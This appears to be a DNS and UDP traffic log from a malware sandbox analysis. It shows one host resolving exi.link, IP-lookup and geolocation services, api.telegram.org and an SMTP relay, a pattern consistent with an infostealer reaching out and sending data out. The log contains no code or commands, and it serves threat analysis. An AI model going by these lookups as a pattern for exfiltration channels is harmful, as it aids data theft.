Aug 13, 2024 20:24:55.201658010 CEST	49384	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:55.212383032 CEST	53	49384	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:55.212641954 CEST	49384	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:55.220614910 CEST	53	49384	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:56.040745020 CEST	54842	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:56.047771931 CEST	53	54842	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:56.294291019 CEST	58105	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:56.300889969 CEST	53	58105	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:57.110977888 CEST	64928	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:57.118679047 CEST	53	64928	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:57.118860006 CEST	64928	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:57.126260042 CEST	53	64928	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:58.473018885 CEST	57390	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:58.479684114 CEST	53	57390	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:58.482403040 CEST	58095	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:58.489085913 CEST	53	58095	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:58.615835905 CEST	54261	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:58.622107029 CEST	53	54261	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:58.628983021 CEST	60507	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:58.635576010 CEST	53	60507	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:59.187115908 CEST	50446	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:59.196753979 CEST	53	50446	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:59.196979046 CEST	50446	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:59.209474087 CEST	53	50446	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:59.645580053 CEST	55939	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:59.656183958 CEST	53	55939	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:59.986392021 CEST	49608	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:24:59.992712021 CEST	53	49608	8.8.8.8	192.168.2.22
Aug 13, 2024 20:24:59.999021053 CEST	61486	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:00.005518913 CEST	53	61486	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:02.024751902 CEST	62453	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:02.031306982 CEST	53	62453	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:02.033708096 CEST	50568	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:02.040117979 CEST	53	50568	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:03.675632000 CEST	61467	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:03.682820082 CEST	53	61467	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:04.360281944 CEST	61618	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:04.368171930 CEST	53	61618	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:04.371414900 CEST	54422	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:04.378217936 CEST	53	54422	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:13.239878893 CEST	52074	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:13.252530098 CEST	53	52074	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:14.560997009 CEST	50337	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:14.569797039 CEST	53	50337	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:14.571665049 CEST	61826	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:14.581427097 CEST	53	61826	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:16.761531115 CEST	56329	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:16.772885084 CEST	53	56329	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:18.368634939 CEST	63469	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:18.380386114 CEST	53	63469	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:18.382538080 CEST	59447	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:18.390116930 CEST	53	59447	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:19.213118076 CEST	51828	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:19.222822905 CEST	53	51828	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:19.956154108 CEST	53406	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:19.964683056 CEST	53	53406	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:19.970330954 CEST	56345	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:19.976974010 CEST	53	56345	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:20.677571058 CEST	51870	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:20.684335947 CEST	53	51870	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:21.325459957 CEST	65009	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:21.339663982 CEST	53	65009	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:21.342654943 CEST	64956	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:21.349638939 CEST	53	64956	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:25.769607067 CEST	54521	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:25.776124954 CEST	53	54521	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:25.776324034 CEST	54521	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:25.783272982 CEST	53	54521	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:25.791349888 CEST	49750	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:25.798034906 CEST	53	49750	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:26.259041071 CEST	64687	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:26.266258955 CEST	53	64687	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:26.911113024 CEST	65084	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:26.917874098 CEST	53	65084	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:26.920073986 CEST	63373	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:26.927016973 CEST	53	63373	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:26.927238941 CEST	63373	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:26.937124014 CEST	53	63373	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:30.792792082 CEST	56207	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:30.800631046 CEST	53	56207	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:31.901238918 CEST	51955	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:31.908525944 CEST	53	51955	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:32.520418882 CEST	58971	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:32.526880026 CEST	53	58971	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:32.632304907 CEST	51014	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:32.639823914 CEST	53	51014	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:32.644095898 CEST	49690	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:32.650755882 CEST	53	49690	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:36.772531033 CEST	60169	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:36.781001091 CEST	53	60169	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:38.236653090 CEST	53060	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:38.243093014 CEST	53	53060	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:48.119776964 CEST	49949	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:48.129477024 CEST	53	49949	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:48.283596039 CEST	54027	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:48.300065041 CEST	53	54027	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:50.227065086 CEST	63950	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:50.237417936 CEST	53	63950	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:50.432833910 CEST	58257	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:50.596009970 CEST	53	58257	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:50.596364975 CEST	58257	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:50.602818966 CEST	53	58257	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:52.182238102 CEST	54738	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:52.208214045 CEST	53	54738	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:52.208457947 CEST	54738	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:52.221457005 CEST	53	54738	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:53.445899963 CEST	49478	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:53.453214884 CEST	53	49478	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:53.536055088 CEST	49288	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:53.546375036 CEST	53	49288	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:54.447683096 CEST	61598	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:54.455672026 CEST	53	61598	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:54.501315117 CEST	58754	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:54.509519100 CEST	53	58754	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:55.633430004 CEST	49226	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:55.979156017 CEST	53	49226	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:55.979423046 CEST	49226	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:55.983417988 CEST	54695	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:55.990202904 CEST	53	49226	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:55.990869045 CEST	53	54695	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:57.156724930 CEST	61601	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:57.164316893 CEST	53	61601	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:57.246228933 CEST	54615	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:57.252751112 CEST	53	54615	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:57.992083073 CEST	54950	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:57.999084949 CEST	53	54950	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:58.558823109 CEST	64215	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:58.568182945 CEST	53	64215	8.8.8.8	192.168.2.22
Aug 13, 2024 20:25:59.186825991 CEST	59604	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:25:59.193537951 CEST	53	59604	8.8.8.8	192.168.2.22
Aug 13, 2024 20:26:01.135977030 CEST	49520	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:26:01.142604113 CEST	53	49520	8.8.8.8	192.168.2.22
Aug 13, 2024 20:26:01.142760038 CEST	49520	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:26:01.149301052 CEST	53	49520	8.8.8.8	192.168.2.22
Aug 13, 2024 20:26:02.391017914 CEST	53031	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:26:02.399425030 CEST	53	53031	8.8.8.8	192.168.2.22
Aug 13, 2024 20:26:02.399689913 CEST	53031	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:26:02.406886101 CEST	53	53031	8.8.8.8	192.168.2.22
Aug 13, 2024 20:26:02.578123093 CEST	53112	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:26:02.584681988 CEST	53	53112	8.8.8.8	192.168.2.22
Aug 13, 2024 20:26:02.584889889 CEST	53112	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:26:02.591463089 CEST	53	53112	8.8.8.8	192.168.2.22
Aug 13, 2024 20:26:04.189760923 CEST	65080	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:26:04.602960110 CEST	53	65080	8.8.8.8	192.168.2.22
Aug 13, 2024 20:26:04.603529930 CEST	65080	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:26:04.615492105 CEST	53	65080	8.8.8.8	192.168.2.22
Aug 13, 2024 20:26:06.471883059 CEST	50702	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:26:06.478807926 CEST	53	50702	8.8.8.8	192.168.2.22
Aug 13, 2024 20:26:07.588172913 CEST	53089	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:26:07.595563889 CEST	53	53089	8.8.8.8	192.168.2.22
Aug 13, 2024 20:26:07.596234083 CEST	53089	53	192.168.2.22	8.8.8.8
Aug 13, 2024 20:26:07.606969118 CEST	53	53089	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 13, 2024 20:24:23.851072073 CEST	192.168.2.22	8.8.8.8	0x9546	Standard query (0)	exi.link	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:25.899049997 CEST	192.168.2.22	8.8.8.8	0x949b	Standard query (0)	exi.link	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:26.015203953 CEST	192.168.2.22	8.8.8.8	0x949b	Standard query (0)	exi.link	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:45.752731085 CEST	192.168.2.22	8.8.8.8	0xdfa0	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:45.788157940 CEST	192.168.2.22	8.8.8.8	0x39d8	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:48.524105072 CEST	192.168.2.22	8.8.8.8	0xb260	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:51.571954966 CEST	192.168.2.22	8.8.8.8	0xf6c8	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:51.592122078 CEST	192.168.2.22	8.8.8.8	0xec2d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.125622988 CEST	192.168.2.22	8.8.8.8	0x66e	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.135973930 CEST	192.168.2.22	8.8.8.8	0x66e	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.963690996 CEST	192.168.2.22	8.8.8.8	0x88bb	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.989589930 CEST	192.168.2.22	8.8.8.8	0x54ad	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:53.530621052 CEST	192.168.2.22	8.8.8.8	0x8fb	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:54.294713974 CEST	192.168.2.22	8.8.8.8	0x41ca	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:54.351703882 CEST	192.168.2.22	8.8.8.8	0xc249	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:55.201658010 CEST	192.168.2.22	8.8.8.8	0xa5bc	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:55.212641954 CEST	192.168.2.22	8.8.8.8	0xa5bc	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:56.040745020 CEST	192.168.2.22	8.8.8.8	0xe24c	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:56.294291019 CEST	192.168.2.22	8.8.8.8	0xcad4	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:57.110977888 CEST	192.168.2.22	8.8.8.8	0x96d5	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:57.118860006 CEST	192.168.2.22	8.8.8.8	0x96d5	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.473018885 CEST	192.168.2.22	8.8.8.8	0xb8c1	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.482403040 CEST	192.168.2.22	8.8.8.8	0xe3c7	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.615835905 CEST	192.168.2.22	8.8.8.8	0xd009	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.628983021 CEST	192.168.2.22	8.8.8.8	0x6585	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.187115908 CEST	192.168.2.22	8.8.8.8	0xd396	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.196979046 CEST	192.168.2.22	8.8.8.8	0xd396	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.645580053 CEST	192.168.2.22	8.8.8.8	0xb953	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.986392021 CEST	192.168.2.22	8.8.8.8	0xb80a	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.999021053 CEST	192.168.2.22	8.8.8.8	0x8ad2	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:02.024751902 CEST	192.168.2.22	8.8.8.8	0xe089	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:02.033708096 CEST	192.168.2.22	8.8.8.8	0x6844	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:03.675632000 CEST	192.168.2.22	8.8.8.8	0xa411	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:04.360281944 CEST	192.168.2.22	8.8.8.8	0x3e24	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:04.371414900 CEST	192.168.2.22	8.8.8.8	0xc961	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:13.239878893 CEST	192.168.2.22	8.8.8.8	0x371	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:14.560997009 CEST	192.168.2.22	8.8.8.8	0x483	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:14.571665049 CEST	192.168.2.22	8.8.8.8	0x2bfc	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:16.761531115 CEST	192.168.2.22	8.8.8.8	0xe937	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:18.368634939 CEST	192.168.2.22	8.8.8.8	0xefd7	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:18.382538080 CEST	192.168.2.22	8.8.8.8	0x935	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.213118076 CEST	192.168.2.22	8.8.8.8	0xd529	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.956154108 CEST	192.168.2.22	8.8.8.8	0xe96	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.970330954 CEST	192.168.2.22	8.8.8.8	0x29c3	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:20.677571058 CEST	192.168.2.22	8.8.8.8	0x4138	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:21.325459957 CEST	192.168.2.22	8.8.8.8	0x4e22	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:21.342654943 CEST	192.168.2.22	8.8.8.8	0x2d0e	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.769607067 CEST	192.168.2.22	8.8.8.8	0xe327	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.776324034 CEST	192.168.2.22	8.8.8.8	0xe327	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.791349888 CEST	192.168.2.22	8.8.8.8	0x9028	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.259041071 CEST	192.168.2.22	8.8.8.8	0x8b59	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.911113024 CEST	192.168.2.22	8.8.8.8	0xdb14	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.920073986 CEST	192.168.2.22	8.8.8.8	0x40c5	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.927238941 CEST	192.168.2.22	8.8.8.8	0x40c5	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:30.792792082 CEST	192.168.2.22	8.8.8.8	0x6010	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:31.901238918 CEST	192.168.2.22	8.8.8.8	0x9ed0	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.520418882 CEST	192.168.2.22	8.8.8.8	0xb987	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.632304907 CEST	192.168.2.22	8.8.8.8	0x7ab0	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.644095898 CEST	192.168.2.22	8.8.8.8	0xc204	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:36.772531033 CEST	192.168.2.22	8.8.8.8	0xb2e7	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:38.236653090 CEST	192.168.2.22	8.8.8.8	0x7e58	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:48.119776964 CEST	192.168.2.22	8.8.8.8	0x3aa7	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:48.283596039 CEST	192.168.2.22	8.8.8.8	0x63d1	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:50.227065086 CEST	192.168.2.22	8.8.8.8	0x768d	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:50.432833910 CEST	192.168.2.22	8.8.8.8	0x4073	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:50.596364975 CEST	192.168.2.22	8.8.8.8	0x4073	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:52.182238102 CEST	192.168.2.22	8.8.8.8	0x4f4e	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:52.208457947 CEST	192.168.2.22	8.8.8.8	0x4f4e	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:53.445899963 CEST	192.168.2.22	8.8.8.8	0xe50	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:53.536055088 CEST	192.168.2.22	8.8.8.8	0xbfab	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:54.447683096 CEST	192.168.2.22	8.8.8.8	0x283e	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:54.501315117 CEST	192.168.2.22	8.8.8.8	0xeb07	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:55.633430004 CEST	192.168.2.22	8.8.8.8	0xae3e	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:55.979423046 CEST	192.168.2.22	8.8.8.8	0xae3e	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:55.983417988 CEST	192.168.2.22	8.8.8.8	0x8c1c	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:57.156724930 CEST	192.168.2.22	8.8.8.8	0xc200	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:57.246228933 CEST	192.168.2.22	8.8.8.8	0x400	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:57.992083073 CEST	192.168.2.22	8.8.8.8	0x283e	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:58.558823109 CEST	192.168.2.22	8.8.8.8	0xc07b	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:59.186825991 CEST	192.168.2.22	8.8.8.8	0x829c	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:01.135977030 CEST	192.168.2.22	8.8.8.8	0xd63b	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:01.142760038 CEST	192.168.2.22	8.8.8.8	0xd63b	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.391017914 CEST	192.168.2.22	8.8.8.8	0x4286	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.399689913 CEST	192.168.2.22	8.8.8.8	0x4286	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.578123093 CEST	192.168.2.22	8.8.8.8	0xfe88	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.584889889 CEST	192.168.2.22	8.8.8.8	0xfe88	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:04.189760923 CEST	192.168.2.22	8.8.8.8	0x3bd0	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:04.603529930 CEST	192.168.2.22	8.8.8.8	0x3bd0	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:06.471883059 CEST	192.168.2.22	8.8.8.8	0xb1f3	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:07.588172913 CEST	192.168.2.22	8.8.8.8	0xc6e8	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:07.596234083 CEST	192.168.2.22	8.8.8.8	0xc6e8	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 13, 2024 20:24:23.858613014 CEST	8.8.8.8	192.168.2.22	0x9546	No error (0)	exi.link		159.203.133.15	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:25.961795092 CEST	8.8.8.8	192.168.2.22	0x949b	No error (0)	exi.link		159.203.133.15	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:26.025000095 CEST	8.8.8.8	192.168.2.22	0x949b	No error (0)	exi.link		159.203.133.15	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:45.759526014 CEST	8.8.8.8	192.168.2.22	0xdfa0	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:45.759526014 CEST	8.8.8.8	192.168.2.22	0xdfa0	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
